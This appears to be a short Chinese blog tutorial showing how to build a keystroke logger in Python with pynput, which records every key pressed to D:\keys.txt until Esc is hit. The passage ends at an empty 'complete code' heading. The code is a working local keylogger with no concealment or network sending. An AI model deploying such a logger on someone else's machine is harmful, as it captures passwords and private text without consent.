目录

​​一、安装pynput模块​​

​​二、编写代码​​

​​1、引入键盘模块​​

​​2、读取键盘操作​​

​​3、设置停止记录触发事件​​

​​4、启动监听​​

​​三、完整代码​​

一、安装pynput模块

PS C:\WINDOWS\system32> pip install pynput
Looking in indexes: http://mirrors.aliyun.com/pypi/simple
Requirement already satisfied: pynput in f:\develop\python36\lib\site-packages (1.7.2)
Requirement already satisfied: six in f:\develop\python36\lib\site-packages (from pynput) (1.10.0)

python 实现的键盘记录器 小功能_pynput

二、编写代码

1、引入键盘模块

from pynput.keyboard import Key, Controller,Listener
import time

2、读取键盘操作

记录键盘操作，并将记录写入D:\keys.txt路径下

def on_press(key):
    global keys
    string = str(key).replace("'","")
    keys.append(string)
    key_rcord= "".join(keys)
    if len(key_rcord)>15:
      with open('D:\keys.txt', 'a') as f:
          f.write(key_rcord)   
          keys= []

3、设置停止记录触发事件

当按到键盘esc时，停止运行记录程序

def on_release(key):
    if key == Key.esc:
        return False

4、启动监听

with Listener(on_press=on_press,on_release=on_release) as listener:
    listener.join()

三、完整代码